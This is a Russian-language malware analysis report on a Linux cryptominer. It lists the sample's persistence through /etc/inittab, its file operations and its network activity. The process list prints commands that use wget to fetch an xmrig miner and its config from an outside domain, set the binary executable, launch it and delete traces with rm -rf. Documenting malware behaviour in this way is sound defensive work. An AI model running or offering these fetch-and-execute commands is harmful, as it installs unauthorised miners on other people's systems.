Техническая информация
Для обеспечения автоматического запуска и распространения:
Создает или модифицирует следующие файлы:
- /etc/inittab
Вредоносные функции:
Управляет службами:
- init q
Запускает процессы:
- rm -rf /tmp/config.json
- rm -rf /tmp/rmx
- sh -c cd /tmp; wget http://jarry.online/xmrig; pkill -9 xmrig; chmod 777 /tmp/xmrig
- wget http://jarry.online/xmrig
- pkill -9 xmrig
- chmod 777 /tmp/xmrig
- sh -c cd /tmp; wget http://jarry.online/config.json
- wget http://jarry.online/config.json
- init q
- sh -c /tmp/xmrig
- /tmp/xmrig
- /bin/sh /tmp/xmrig
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /tmp/xmrig
Создает или модифицирует файлы:
- /tmp/xmrig
- /tmp/config.json
Удаляет файлы:
- /tmp/config.json
- /tmp/rmx
Сетевая активность:
Устанавливает соединение:
- <LOCAL_DNS_SERVER>
HTTP GET-запросы:
- ja###.online/xmrig
- ja###.##line/config.json
DNS ASK:
- ja###.online
Прочее:
Собирает информацию о CPU
